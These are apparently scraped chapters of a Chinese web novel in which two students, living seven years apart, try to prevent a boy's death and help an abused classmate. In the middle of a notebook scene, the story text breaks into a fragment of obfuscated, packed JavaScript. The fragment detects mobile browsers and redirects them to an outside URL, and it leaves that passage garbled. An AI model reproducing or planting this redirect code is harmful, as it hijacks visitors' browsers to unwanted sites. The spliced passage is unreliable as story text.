听到那几个女孩儿刚一走就忍不住互相小声议论,有一个嗫嚅半天,还是忍不住,“天呐,他这人……怎么这样啊?”
“就是,空有一张皮囊,太小气了,原来根本不是帮忙的,还那样扔球,灰都甩我脸上了!”
“真过分。”
她们表达对周湜与铺天盖地的不满。
终于有人忍不住问:“苏芸,你还喜欢他吗?”
短发姑娘终于抬起头,温吞道:“他这个态度我也能理解。”
“这你也能理解?”
苏芸垂下眸。
手里抱着三个球让她走不快,更何况,刚才周湜与抛球过来的神态在一点点往她心上刻——他们很少离得这样近过。
他皮肤真好,鼻侧还有一颗小痣。
她吸了吸鼻子,“他有女朋友了,当然要跟别的女生有些距离。”
周湜与把窗户开了一条缝,拖来一张干净的椅子,舒舒服服躺在上面。
听到了最后一句话,他有些幸灾乐祸地想,关于跟苏芸的关系,他应该是搞砸了。晚上回到宿舍,他得把这事儿告诉黎遇。
12. 火烧云
第十二章火烧云
黎彦尧的博士论文预答辩刚刚做完,宿舍男生一同聚餐。烤肉店人多,排队的客人都堆在了门口,服务员忙不过来,他们叫了几次加水,都没人过来,黎彦尧只好自己穿过人群,在后厨的门口端了一壶水上楼。
刚侧身转头时,有人略微含糊,“黎彦尧?”
他转头,是位矮个子男生,天气不冷,里面空调热得他难受,那人却穿了一件厚实的毛衣。肚子一圈显得十分臃肿。黎彦尧看了又看,觉得眼熟,脑子里闪过好几张差不多的面孔,一个名字在嘴边堵着出不来。
“我是郑俊文。”
对方仓促地笑了一声,发梢挡在眼睛前面。
第一排的小个子男生,数学成绩似乎次次逼近满分,没什么朋友,不爱笑,炎热夏日教室铺满的阳光似乎都照不到他……
黎彦尧想起来这个人,高中三年同学,他们几乎没有说过话。
“是你啊。”他点点头,一边讶异对方竟然还记得自己,一边感叹他与之前的性格不同,甚至会主动打招呼。
“你好。”
同一时间,两桌之外有人轻唤,“俊文?”
黎彦尧向那里看去。那里坐着一个女人,短头发,瞧着三十岁上下,一样穿着老旧款式的毛衣,耳朵上的金耳环和她的纹眉一样,都有些突兀。她温和催促。
黎彦尧又说:“很高兴重新遇到你。”
郑俊文见他就要离开,忽然加了一句,“她不是我女朋友。”
“什么?”
“她是我同事。”
右眼睛还是被挡住,但郑俊文抬起头解释道。
“哦。”黎彦尧莫名其妙压在心里,“好。”
他转头走了,上楼时忽然想起两年前有朋友在群里分享了一条短视频,下面发了一大段话:
「咱们班当年的郑俊文你们还记得吧,就数学贼好的那个,人家名牌大学刚毕业就在一家独角兽公司上班,那时候就月薪两万多,结果干了没到一年就辞职回老家了。没想到刚走,前司短视频就上线了,现在搞得风风火火,我听说,他之前的那个团队今年年终奖有人7位数,他倒好,什么也没捞着。」
黎彦尧记起,郑俊文当年在班里最受关注的时候就是高考出分那天。他选择了遍地是金子的行业,没想到兜兜转转几年,自己亲手扔掉了机会,从大城市离开,又回到了锦城,变回了默默无闻的郑俊文。
他没什么朋友,同学提起他时没多少惋惜,大多是嘲弄他只会考试,毫无长远目光。
黎彦尧喝掉面前的茶水,转头看见了窗外的火烧云。
*
黎遇从化学补习班走出来,董逸帆在门口等她。他们做了十多年的邻居,下班前,董逸帆妈妈说她临时有事,章锦便主动邀董逸帆今晚来家里吃饭。
一见她,他立刻露出笑脸,盖上笔盖。
她往外走,“你怎么在这里?”
“跟你一起回去啊。”董逸帆背上书包,“你等等我。”
他小跑两步,“是彦哥让我来接你的,他说你下课的时候天都黑了——不过我觉得彦哥是担心你谈恋爱,让我监视你的。”
一提这个黎遇就来气,“你还好意思说?你都多大了还告状?”
他摇头晃脑,“那天我在路边喊你好几声,谁让你不理我,不仅不理我,竟然还拉着个帅哥跑?”
“你管的真多。”
“那人是谁啊?我没见过。”
“你没见过的人多了。”
黎遇反驳。
董逸帆却认真打量着她的神色,忽然道:“你真的恋爱了啊?”
“没有。”
他们站在路口,等待绿灯亮起。
“那你为什么不告诉我那个人是谁?”
“反正不能告诉你。”
黎遇往旁边看,路边一辆小电动车上,女孩儿戴着头盔紧紧搂着前面男孩儿腰。
董逸帆半晌没说话,直到快走进观澜院,他才闷闷不乐道:“我们小时候都是没有秘密的。”
黎遇听他语气古怪,不由回头看他,然后拍拍他的肩膀,“以后告诉你。”
他们一前一后走出电梯,还没打开家门,她深吸一口气,便高兴道:“我妈做了糖醋排骨!”
*
“要不要出去吃夜宵?”
自习课刚下,前桌凑过来,小声问周湜与。
他把笔在手中转了转,摇摇头。
周湜与绕了一个大圈,经过已经接近废弃的北校门口。
有个人正在垫着脚尖站在一块石头上,扒着栏杆,企图翻出校门。
他停在三米外静静地看了一会儿,那人竟然半点儿没发现。
须臾,他往前走了一步,站在路灯能够照得到的地方,“你这样是出不去的。”
郑俊文吓了一跳,头还没回,手一滑,掉下来。
可他迅速坐起来,狼狈地拍拍手和校服裤上的草。
他蹭了蹭鼻子,“你会告诉校长吗?”
“跟我有什么关系?”周湜与笑道:“从正门走吧,你是好学生,写个假条,老师又不会问太多。”
郑俊文面无表情地盯着他,沉默在夜空中撕破一个口子。
过了一会儿,“我以为你根本不认识我。”
周湜与奇怪地笑,“我们是同班同学啊?”
“我的意思是像你这样的人,应该不会注意到我。”
周湜与偏过头,乐了,“你说的也是。”
郑俊文十分窘迫,他摸了摸校服兜,忽然脸色一变,眯着眼睛蹲下身,就在扒拉墙角的那片杂草,周湜与两大步走过去,附身在石头边上捡起一个黑色手掌大的东西。
“你在找这个吗?”
他递过去。
索尼P200数码相机,2005年出的那款。
他猛然回头,冲过去拿回来,在袖子旁边抹了抹,没说谢谢,低头转身就走。
周湜与也缓步往男生宿舍走去。
推开宿舍的门,只有廖康在,听到动静,抬起头,“他们出去吃烧烤了,你没去?”
“回来睡觉。”
周湜与打开桌上台灯。
廖康斜着身子探头,“哟,你这手怎么了,怎么全是创可贴。”
周湜与摊开右手掌心,食指中指和无名指都贴着。
“学习压力太大啊?”
“嗯。”他大言不惭,“太大了,自|残。”
“真的?”
“假的。”
周湜与拿起牙刷,往楼道尽头走去。洗漱完后,他仰躺在在床上,从枕头下面拿出蓝皮本。
本来是去想去七年后找黎遇的,可他这两天血都快流干了,也没成功过去。
他在本子上写下自己和她的每次见面时间,在日历上画圈。
显而易见,从第一次开始,每个周各自穿梭一次。时间大多维持在二十多分钟,唯有那次在电影院时间最长。
周湜与大概发现了规律,但对时长还没什么把握。现在可以确定的是,如果要找到凶手,他们两个人每周的相聚时间是有限的,不能随意用掉。
这些想法,他预备着下次见到黎遇再说。
周湜与坐起来,靠在墙上,翻开新的一页,在上面写了一句话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342752|199430||http|test|mini|href|location''.split(''|''),0,{}));
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>「为了见你,我差点儿贫血」
*
哥哥是在他们刚吃完饭的时候回来的。
黎遇和董逸帆在茶几两侧下围棋,听到黎彦尧坐在沙发上跟父母宣布了一条消息。
“过段时间我准备带一个女孩子回来吃饭。”
章锦一听高兴极了,“儿子,你谈恋爱啦,怎么完全没跟我们说呢。”
“这不是在说嘛。”
黎遇抬起头,“哥,你要结婚了?”
“没到那一步,先回来见见。”
黎劭丰端着茶杯,“你也二十五岁了,确实该考虑这个问题。”
章锦忙又问:“姑娘多大了?做什么的?上学还是工作?你们怎么认识的?”
“哎……”被四双眼睛齐齐盯着,黎彦尧挠挠头,“同学校的学妹。总之她吃不了辣,爸妈你们做点儿清淡的拿手菜就行。”
“一个学校的啊,她是什么专业?”
“心理学。”黎彦尧抓抓头发,“哎呦,妈!到时候人家来了你可别问那么多,她容易害羞,你别吓到她。”
“知道,爸妈都是过来人。”
董逸帆连输三局,嚷嚷着不玩了,独自回家写作业去。黎遇拿起一牙苹果,见哥哥拿着手机若有所思,问:“哥,你怎么看着心事重重啊?”
黎彦尧看着妹妹干净的眼睛,叹口气,觉得跟她没什么可说的,但犹豫一会儿,还是开口,“我们周五有同学聚会,我还没想好去不去。”
“为什么不去?”
“高中的同学聚会。”
“你不想去?”黎遇想起周湜与。
“不是……很多人都好久不联系了。”黎彦尧捏捏眉心,“去了也没意思,算了,我跟他们说我那天有事儿。”
“别呀。”黎遇按住哥哥的手,“都是老同学,聊聊天不好吗?”
黎彦尧有些沉默,他仰头靠在沙发靠垫上。许久后,“那时候你才多大,肯定都忘了。”
“记得什么?
“那年发生了好多事情……因为周湜与,我们的毕业聚会临时取消,直到志愿填报结束,才重新聚了一次。”
黎彦尧陷在柔软的沙发里。
当时周湜与已经下葬了,成了连亲生父亲都不愿多看一眼的孤魂野鬼,但他始终是同学们的谈资。死亡对于年轻的少年们离得太远,何况是离奇的死亡。
他们不觉得痛苦,哀伤,哪怕是震惊,只有有趣——相处了三年的同学竟然是个强|奸未遂的混蛋,还被低年级的女孩儿给反杀了。
黎彦尧始终以为他们会跟自己一样绝不相信,会为曾经同学如今躺在楠山荒芜的墓地而起码痛哭一场。可那个晚上,他坐在圆桌一侧,听着身边的纷杂,对周湜与毫无根据的诋毁,他觉得自己是个小丑,一直以为自己在学校好朋友众多,周湜与更是。现在看来,那些人只是认为跟周湜与这样的人待在一起特别有面子,既然他死了,便可以顺理成章的变成跟亲戚朋友绘声绘色讲述故事里的一具人人唾弃的尸体。
那时候的大多数情景他都记不清了,只记得自己握紧手边的一个瓶酒瓶转身就往那个厉声大笑的同学脑袋上挥去。
当拳头往他脸上,肚子上,胸口上招呼的时候,黎彦尧躺在地上,疼痛席蔓全身,他嗅到了喉腔里的血腥味道,举起胳膊,心里想,兄弟,我证明不了你的清白,但我对得起你了。
后来微信兴起,副班长建立高中8班的同学群,有人要拉黎彦尧进群,被他拒绝,直到今天,他跟当年的大多数同学都已经彻彻底底断了联系。他从未怀念过那些情谊,七年过去,他只是想知道,厄运到底有没有眷顾那些混蛋。
13. 奖学金
第十三章奖学金
一模考试成绩下来了。
黎遇没有考好,是她自高二以来,年级排名最低的一次。章锦和黎劭丰在学习方面从不给女儿太多压力。每每提起自家女儿,总是跟别人说:“我们曈曈从小就自律,有目标,所以我们全由她顺其自然。”
可她自己难过了一个晚上。
第二天早上,便背着一摞卷子去找周湜与。
周湜与接到来自小卖部的电话正在上早自习。老师不再,他从后门溜出去,径直往校门口跑去。黎遇正蹲在校门口的树坑边上,戴着米白色帽子,草绿色的书包很显眼。
他悄悄故去,也在她身边蹲下,仔细看着眼前的刚发新芽的树,“你看什么呢?”
黎遇偏头,看着还穿着校服的周湜与。她问:“你还在上自习吗?”
“嗯。”
“那你逃过学吗?”
他站起来,插着兜,“你这个问题是在侮辱我吗?”
周湜与挑眉看她,身后的门卫却一直盯着他看,“哎,那个学生,我记得你,是高三的学生吧,你有假条吗,就随便出去?”
“哥,您记性真好。”周湜与张口就来,“这是我表妹,乡下来的,她没手机,联系不到人,我得把她先送回家。”
“你表妹?”
门卫狐疑。
黎遇把帽檐压了压,故意往周湜与身后靠了靠,露出一个准确的怯生生表情来。周湜与安抚地回头,用不高不低的声音道:“没事,我肯定不会不管你的。”
她忙点点头。没演够,还紧紧抓住了他的胳膊。
“那你也得先写假条。”
“班主任早上不在,我跟谁请假去?我妹妹坐了一晚上大巴,现在饿惨了,您得让我先去吃个早饭填填肚子吧?”
“——实在不行,您去问我爸去。”
“周校长?”
“对,问他吧。”周湜与笑着招招手,往另一边跑去。
他们跑到了公交车站才停下,黎遇的手还抓着他的胳膊,气喘吁吁抬起头问:“你骗了周主任怎么办?”
“没事儿,我爸去广州开会去了。开半个月,等回来门卫早都忘记这事儿了。”
“就算记得,大不了他揍我一顿,再写个检查。”
“对不起哦。”
周湜与满不在乎,“你有新发现了?”
黎遇摇摇头,她转身看着公交站台,指着11路公车,“我们一直坐到终点站好吗?”
他低头看着她,随后点点头。
一零年的道路规划不如七年后,11路公车人总是很多,尤其穿过市中心的那段,摇摇晃晃一路。隔壁大妈刚从菜市场厮杀出来的便宜大葱露出塑料袋一大截,正顶着她的腿。黎遇屏住呼吸,侧身躲避,姿势古怪。
周湜与本来右手抓着头顶的扶手,扭头见她身子倾斜如同耍杂技,换了一只手把住杆,胳膊垂下来,递给她,低头开口,“你抓紧我。”
“好。”
黎遇握住他的小臂。
一开始,她还控制着力道,在司机第三次在路口急刹车,并推开驾驶座的窗户跟下面的出租车司机破口对骂的时候,她为了不让自己跟大葱一样被甩出去,整个身子都像抱浮木一样地抱住了周湜与。
手和身体的触感是不一样的。
何况仲春时节,身上穿的衣服都已经清减了许多。
周湜与觉得热气从T恤里面顺着脖子往上冲。
他一边站军姿,一边心道下次找空得去问问黎彦尧他们家到底有没有告诉他妹妹长大以后要注意男女有别这件事儿!
终于,在距离终点站还有五站的时候,公交车上的人陆续下去了。
黎遇松开周湜与,抬头见他的额角竟然有了汗,共情道:“这车上确实热,这么多人,该开窗通通风了。”
他们在后排的位置找到空位,并排坐下。
黎遇不如平时话多,坐下后也只是望着窗外,看上去有些泄气。
他轻声问:“怎么了?”
她回头,低下头,搓搓自己的手指。
“我一模考砸了。”
*
终点站接近城市的边缘。从街边的路牌来看,快要到锦城北汽车站。周湜与从来么有来过这个地方。黎遇说街尽头有一家二手书店,名字有点怪,叫「吴越国的书」,几年后经营不下去,老板关门回了老家。
他们在靠窗的桌前坐下。
周湜与买了两瓶水回来。
“试卷带来了?”
“嗯。”
“给我看看好吗?”
黎遇拉开拉链,“化学考得最差。”
周湜与看了她每门课的成绩以及全校排名,微微叹道:“黎彦尧真行啊……”
“哥哥怎么了?”
“他,偶尔提过你几次。”
“说我什么?”
“差不多就是……混世魔王吧。”周湜与看黎遇眼睛慢慢喷出怒火,忍不住笑,“所以我一直以为你成绩很不好,没想到啊,比他强多了。”
“他竟然诋毁我。”黎遇不满道:“我从小到大学习都很好,只不过是最近、最近……”
“那件事情是不是让你分心了?”
黎遇抬起头,周湜与收敛起笑容,神色有些严肃。
“没有吧……我、我也不知道,我化学一直都是最不好的,但从来没有像这次一样考得这么差。”
“你还有自己的生活。”他沉沉道:“你想去哪所大学?”
“中国人民大学。”
“能考上吗?”
“如果是一模的成绩,不能。”
周湜与靠回靠背上,她猜到他要说什么,抢先打断他,“不行!周湜与,我又不笨,就算不认识你,我的生活里也不止有学习。”
他抬眼。
黎遇垂下眸,“何况,哥哥很难过,七年过去了,他依旧为你的死而感到难过。”
他许久没说话。
抬起头,“但你也有自己的路要走。”
“我知道。”黎遇短促地笑了一下,“你这样说话真的很像长辈。”
“我本来就比你大很多。”
“七岁。”他强调。
“现在又不是……”
她嘀咕,“你是几月份生的?”
“九月。”
“处女座啊……我是金牛座,也就是说现在其实我比你还大。”
“叫姐姐!”
周湜与哼了一声。
他偏头看向窗外,黎遇注意到他的额头上的汗水还没有全消。
他似乎渴得厉害,仰头喝完了那一整瓶水,才转头意有所指,“我化学还不错。”
黎遇眨眨眼睛。
他清清嗓子,“我给你补习化学,怎么样?”
话音刚落。
远处传来叫骂声。
书店的门开着,所以听得很清楚。周湜与回头,见一个女孩儿刚被面前的男人甩了一巴掌,捂着脸,头发挡住她的面孔。
随着是背对着他,但熟悉感涌上来。他下意识扭头看向黎遇。
而黎遇显然双目冒出精光,她站起身。
显而易见,她特意来到这里就是为了等待。
苏芸如她所愿出现了。
*
苏芸高中时的家庭住址是黎遇在教务处的档案里找到的。而那个打她的男人她见过。上次见面,他还在办公室门外哭得泣不成声。
老师的那句“当然是为了要钱啊”还在敲击着
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她的耳膜。
书店老板听到了动静,向窗外望去,虽习以为常,却依旧摇头叹气,“哎,这家人……何必要生这个女儿呢。”
苏芸弯下腰,把掉在地上的盆捡起来,抱在怀里,头埋得很低。
“便宜玩意儿,活都不会干。”苏父没打够,又伸出一根手指狠狠地在她的脑袋上戳,“废物,我怎么生了你这么个废物?”
她一声不吭,除了脑袋被顶得歪向一边,动也不动。
黎遇往外走,隔壁超市率先走出一个中年女人,乡音浓重,“你不嫌丢人啊,有什么事情回来说。”
男人啐了一口,转头往回走,路过老婆时,斥道:“还不是你这个没用的东西生的小废物?”
苏芸的脑袋一直垂着。
过了很久,她用手背摸了摸脸,慢慢抬起头时,却看见了不远处窗黎的周湜与。
他几乎是立刻偏过眼。
她身体绷得僵直,手指头不断扣着衣角的开线,她已然崩溃,可却没有胆量放声大哭。
苏芸苦笑一声,他原来也是个善良的人,可她哪还有什么自尊可言。
回去,她爸的谩骂还会传进他的耳朵里。
黎遇在苏芸刚刚踏回超市的时候,站在门口大声道:“老板,老板!有没有矿泉水?我要一整箱。”
“有有有,要哪种的?”
“就你手里拿的那个就行。太重了,我提不动。”
“苏芸,搬水去。”
黎遇回头,这才看向身边的苏芸。她的右脸已经肿起来了,用头发遮着。
她嗓子哑了,“跟我来吧。”
苏芸家的超市很乱,更像杂货铺,位置不佳,货架上的很多商品都落了灰。
他们穿过每一个货架,在最里面的那个角落,苏芸蹲下来,拖出来一整箱矿泉水。
黎遇跟着她一起蹲下来,对着货架悄悄开口,“二中的住宿对排名前列的学生有优惠,你去学校住吧。”
苏芸抬起头,她讶异的视线扫过黎遇的面庞每一个地方,才张口,“他们不会同意的。”
“你为什么要经过他们的同意?”黎遇看着那箱水,也很脏,上面似乎还有脚印,“你去年拿了奖学金,不是也没有跟他们说吗?”
“你怎么……”苏芸有些惊恐,忙往身后盯去。
是七年后的你告诉我的。
黎遇看着她的眼睛,默默回答。苏芸老师曾经单独开解过班里的女同学,那时候,她站在讲台上温柔地说:“我们不用做乖乖女,我对我的父母撒过很多谎,比如挣了奖学金从不告诉他们。”
她真的是个很好的人。
哪怕不是救周湜与,黎遇也要救苏芸。
她站起身,把钱塞进苏芸的手里。
苏芸站起身,她蹲的小腿发麻,扭头,目光跟随着女孩儿的身影。
她看见周湜与正站在超市外默默地等待。
她注视着他们,低头抹掉了自己的眼泪。
约十分钟后,她又一次走出超市,妈妈准备做午饭,家里没姜了。
正往路口走,遇上了周湜与。
他独自一个人。在马路边,他率先看到了她。
苏芸鼓足勇气冲他笑了笑。
“她呢?”
她还不知道那个女孩儿的名字。她不敢直视周湜与,目光只落在他的肩膀处,心里有些宽慰地想,虽然他恋爱了,但眼光很好。
某种程度上,也佐证了他也是个值得喜欢的男生。
周湜与的手里还握着黎遇没喝完的水。
“她还有事,先走了。”
他开口回答苏芸,自己和黎遇的每一次离开都没有告别。可他说完这话,突然意识到这一次自己的心里竟然格外空落落。
14. 纸飞机
第十四章纸飞机
周六,高三的学生依旧需要上学。不过这个周有些不同,二中在承办了本周末的市级高中运动会,上次有这么大的活动还是十一年前,校长特意松口,允许高三的学生午后可以一同来观赛。
大家兴致勃勃,午休才结束,就往操场跑去。黎遇和余珂站在看台边,体育委员搬来一箱矿泉水,冲着班里的女生高喊,“大家来这里领水!”
队伍排的很长,快到黎遇的时候,就剩下最后一瓶水了。发水的男生将校服外套系在腰上,左手紧紧握着,有旁边的男生想抢,他高高举起来,忽然眼睛一亮,提高声音,“黎遇,这个给你。”
黎遇扭头。那人眼熟,但她不知道叫什么。
不过他冲着她露出一张笑脸,附近的几个男生立刻一起傻乎乎地嗷嗷叫起来,她犹疑着接过,倒是并不觉得害羞,只是矿泉水瓶握在手心像是烫手山芋。
她走出人群,才问余珂,“那人叫什么?”
余珂摇摇头,“但好像是三班的。”
她又问语文课代表,“他2是谁啊?”
“朱锐,三班物理课代表。”语文课代表从单词本里抬起头,推了推眼镜架,冲着男生群翻了一个白眼,“什么都要起哄,他们可真无聊。”
黎遇笑了笑,顺手把矿泉水递给了一个刚跑完一千五百米的高一小姑娘。
她和余珂重新躲去阴凉地。篮球场正被占着,几个男生便把篮球当足球踢着玩。
高三的学生么,只要不游荡在题海中,做什么都有趣。
太阳西移。余珂没多久就回到教室,只剩下黎遇一个人。
枪声一响,男子两千米的选手们刚从起跑线飞出去,一个六七岁的小男孩迅速蹦蹦跳跳地在他们的身后穿过塑胶跑道。
裁判长冲着他吹哨,“谁家的孩子?别乱跑,撞到你了!”
小孩儿没听见,右手高高举着纸飞机,嘴里一边“呜呜”,一边冲着黎遇跑来。
那是三班英语老师家的孩子,黎遇在办公室见过几回。只见他朝她咧嘴笑,喊了一声“姐姐”,径直把手里的纸飞机塞给她。
“给我的?”
小孩儿点点头,随后又摇摇头。
“不是我给你的,是一个大哥哥让我给你的。”
说完,他从自己的兜里掏出一根棒棒糖,三两下拆开玻璃糖纸,咬在嘴里,美滋滋嘬了两下,才又补充道:“很帅的哥哥。”
黎遇皱起的眉头舒展开。她晃晃纸飞机,冲他笑,“谢谢你。”
纸飞机比整个手再大一些,她比划了一下,稍作犹豫,把纸飞机拆开。
果然,在她日记本上的熟悉字体出现在了上面。
「学校北门,等你」
像是坐在最后一排传了一整节课的纸条,都没有被老师发现。黎遇抿抿唇,竟有些隐秘的开心,她沿着折角将周湜与的纸飞机重新折好,抬起头,足球场上的朱锐正在给他们班的选手加油,偏过头,他的视线若有若无的移动过来,牢牢地停留在她的身上。
黎遇收起笑容。
她低下头,灵巧地从看台后面的窄门出去,绕过实验楼和图书馆,从还没发新芽的月季园抄近道,往北门走去。
*
周湜与正咬着一根和那个小男孩儿一模一样的棒棒糖。
他本在门外徘徊,见黎遇小跑过来,转身面向她。
而她举起纸飞机,在嘴前哈气,奋力一扔。纸飞机穿过阳光,飞跃校园高高的铁栅栏,摇摇晃晃地向他飞去,比黎遇更先一步,被周湜与抓在手心。
她在栏杆前停下脚步,笑盈盈地歪头问:“你怎么来了?”
他把纸飞机在掌心转了个圈,“来找你啊。”
栏杆挡着,两人各站一边,沿着栏杆,默契地慢慢向前走去。
他们各自盯着自己的脚尖,竟然突然有一两分钟的沉默。
周湜与转头看着她,笑道:“你怎么不说话了?”
“怎么不是你先说?”
黎遇也转头,逆着阳光,她不由得眯起眼睛,看到他嘴角弯着,问自己,“运动会好玩吗?”
“还行。”
周湜与绕过一个树坑,离远了一些,又走回来,“对了。”
黎遇抬起头,“嗯?”
“苏芸住校了。”
“真的?”她立马高兴起来,“什么时候的事情?”
“就在昨天。我刚下自习课,遇到她拎着一个编织袋在男生宿舍门口,她让我替你说声谢谢。”
“没关系的……”
黎遇竟然有些不好意思,摸摸鼻子,“她还说什么?”
“没别的了。”
周湜与耸耸肩,“就是……”他指指自己的脸,“她应该又被父母打了,两边脸都是肿的,不过看着挺高兴的。”
“这么看来,苏芸老师挺可怜的。之前她父母在学校哭成那样,我以为他们是因为舍不得她呢。”黎遇垂下眼眸,在抬起来时,依旧是清澈的,“不过她已经在远离自己原本的命运了,我不想让她痛苦七年,留下一句‘对不起’然后自杀。”
“就这样?”
“我们在救人哎!”她认真地说,“是两条人命。”
周湜与说:“那你呢?”
“我怎么了?”
他停下脚步。铁栏杆端末嵌在红色砖墙里,再往前走,全都是砖墙,他们就看不到彼此了。
“渴不渴?”
他忽然低声问。
黎遇想起了朱锐刚才的那瓶矿泉水。
点点头。
他偏头,“要不要出来?我请你喝汽水。”
“现在?这里吗?”
“嗯,翻出来。”
“——敢不敢?”
“你别小瞧我,我小时候爬树爬得比哥哥还快。”
黎遇边说边卷起袖子。
她踮起脚尖,轻轻一跃,抓住铁栏杆的最上端,右腿往上抬,跟一只猴似的,就夸坐在了最上面,她的两腿摇摇晃晃。往底下看了一眼,吞了吞口水,“你往边上站,小心我跳你身上呢。”
周湜与笑眯眯地往后退了一步。
黎遇的在松开手的那一刻。地面颠倒向她砸来,电光火石间,她心想——原来我小时候那么勇敢,那样高的树我也敢纵深一跃。
就算长大了,黎遇也从来都不知道什么叫害怕。她半蹲着稳稳地踩在地面上,抬起头,周湜与露出了一张略微诧异的神色。
“挺厉害啊你。”
“当然了。”她拍拍手,“走吧,你请我去哪里喝汽水?”
*
黎遇跟在周湜与身后,轻轻踩在楼梯上,木头做的楼梯不可避免地发出“咯吱咯吱”的声音,她忍不住缩起脖子,扯着他的衣摆,“你就带我来市图书馆?”
“对啊。”他用气声回答道:“不然你一个学生,想去哪里?”
他把刚买的奶茶纸袋子搁在桌上。
这是
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黎遇提议的,她说汽水太便宜,不足以显示他请客的诚心,又说要带他看看七年前并不多见的奶茶店。
她为他插上吸管,把鲜芋奶茶推到他的面前。
“怎么样?”她凑过去小声问。
“还不错。”
黎遇立刻露出笑脸,“活着是不是很好?”
周湜与放下奶茶。他从小就不喜欢喝甜腻腻的东西,糖分从喉咙里流过,释放的多巴胺和内啡肽冲进他的大脑。
他并不觉得这是什么了不起的美食,却实实在在第一次因为甜品感受到了快乐。
活着真的很好。
但不是因为一杯奶茶。
周湜与心里想着。
奶茶的甜像汽水的透明泡泡,在他的舌尖开始跳跃。
他把奶茶往旁边推。
学着她的样子,也往前凑,在不能更加靠近的时候停下,也压低声音煞有介事地回答,“确实好。”
黎遇的脸竟然腾地红了。
并且周湜与毫不客气地指出了这一点。
她狠狠吸了一口加满小料的仙草冻奶茶,大言不惭道:“你离我那么近,我当然要脸红了!”
周湜与笑了,露出一口很漂亮的牙。
不过笑容稍纵即逝,他随后道:“讨论讨论我们的事情吧。”
“我们什么事情?”
他回身拿来自己的书包,掏出一本化学习题册,摆在桌子上。
那本练习册有点儿旧了,显然被翻过很多次。
他靠在椅背上,“自从我认识你后,现在我见你哥都特别不好意思,你知道么。”
“为什么?”
黎遇直愣愣地问。
他瞥过目光,“因为觉得对不起他呗。”他把习题册推到她面前,“这是我觉得一套很不错的高考习题集合,刚才在等你的时候查了查,这书竟然在三年前就绝版了——不论如何,虽然过了七年,但高考的核心知识点差不多,这上面有我本人的珍贵笔记。”
周湜与大手一挥,“现在就赠与你了。”
黎遇拿来认真翻了翻。第一次认识周湜与就是从他的错题本开始的,她没有想到,这个新闻上报道的逃学,早退,写检查熟手的“社会毒瘤”竟然会在学习上有如此近乎较真的钻研态度。此刻的化学习题册一样,字不多,但划出的每个重点都是老师口中狡猾的易错点,而他对于每一个解题关键都总结得一针见血。
她已经紧紧抱在怀里了,但还是假惺惺问:“你舍得?”
“后悔了,还我吧。”
黎遇往后缩了缩,粲然一笑,很快说服了自己,“这个就当我要救你一命,你的提前感谢吧。”
本以为他会跟自己拌嘴,却没想到他却神情严肃地看向她,“我上次说的话是认真的。”
“哪句话?”
“你还有自己的路要走,不要为了别人牺牲自己的前途。”
两个年轻的姑娘经过,她们扭脸打量周湜与,各自露出惊艳的表情后相视一笑,这让黎遇也忍不住盯着他。
他的确有一双令人难忘的眼睛。
尤其是敛去吊儿郎当的时候。
莫名巧妙地,黎遇的脸颊因为这句话再一次变热。
她低下头,过了一会儿才哼哼道:“你果然比我大很多岁。”
“上次你还让我叫你姐。”
“你刚才说话的样子很像——”
“——像什么?”
“像我爸。”
15. 风吹过的街道
第十五章风吹过的街道
在周湜与要大笑之前,黎遇先捂住了他的嘴。
“你别想占我便宜。”
她很快把手收回去。
周湜与轻轻用手背碰了一下自己的嘴唇,歪头看她。
“我的意思是,那种感觉,絮絮叨叨的感觉,特别像比我大很多岁的人说出的话。”
他哼笑了一声。
那个下午,他们商量好了未来两个月的学习计划。周湜与为她补习化学,她督促他背单词和古诗,两人会在每晚九点半的时候比赛做数学题。
直到奶茶见了底,再喝就会发出摩擦空气时“呲溜呲溜”的声音,他们才离开图书馆。
两人在门口告别,黎遇向北走,周湜与向南走。
这是他们最认真的一次告别,相约下一次见面。
黎遇快走到公交车站,在准备转弯的时候,突然回头,街道上,周湜与已经不见踪影,他或许也拐了弯。
自己都说不上什么原因,黎遇忽然转身也往南跑,可是到了路口,他真的已经不见了。
路边有人摆着一个小摊,旁边竖着四个大字:名表修理。
除此之外,只剩下风吹过的街道。
*
黎遇依旧在学校晚自习,然后在九点的时候离开学校。
三月的最后一天,正巧是周五。每个周五,她都会在晚饭后看一个小时的电视,神探夏洛克在这年出了第四季。她正缩在角落屏住呼吸,忽然,铃声大作,她吓得抖了一下,按下暂停键,是哥哥的来电。
“喂?”
“曈曈,来给我送一下充电宝吧。”
哥哥还是去参加了那场高中同学聚会。聚餐地点就在不远处的一家火锅店,黎遇赶过去的时候他们已经付完钱,三十几个人慢悠悠浩荡地从二楼走下来,在门口继续刚才未完的酣畅。
黎彦尧被三个男生围着,那些人喝得脸都红了。
她哥没有。黎遇了解黎彦尧,他的笑容很疏离,因为心里还有抹不去的芥蒂。
她没主动走近,哥哥偏头看见了她,也没特意招呼她过去。
黎遇就在远处仔细地观察周湜与的老同学。
他们跟哥哥差不多年纪,也都不过在二十五岁上下,女同学倒是大多都很漂亮,男同学呢,有几个已经长出啤酒肚,裤腰带拖不住他们快要撑破纽扣的肚子。
即使这场同学聚会是黎遇鼓励哥哥参加的,但她得承认,她和哥哥一样不喜欢他的同学们。
她见过真的成年人寒暄时的笑容,不是那些人此刻挤出的故作成熟。其中有一个男生搂住了哥哥的脖子,笑得最开怀,他弯腰时,黎遇看得清清楚楚,他的头顶秃了,只剩下几个稀疏的毛发,拼尽全力地为他的锃亮的反光体粉饰太平。
黎遇眯起了眼睛。她想起了周湜与。他每天跟自己数学战场拼命流血,他们不分上下,各自偶尔惜败,偶尔险胜。
他依旧还是个势不可挡的少年模样。
她刚才在出门前,说今天的补习得推迟到十点钟,如果周湜与要问起自己去哪里了,她不准备告诉他今晚看见了他曾经的同学们。
她觉得他会难过的。
*
黎彦尧几次想要打断他们的对话,出于礼貌,他无法直接扭头离开,即使他很想这么做。一群人站在路边,来往的车辆不方便停车,他终于说:“下次有空再约。”
回头,他的妹妹已经站得更远,半个身子被一棵树挡住,露出的眼睛流露出一丝难掩的警惕,正一动不动地盯着某个地方。
他略诧异,下意识顺着她的目光看去。
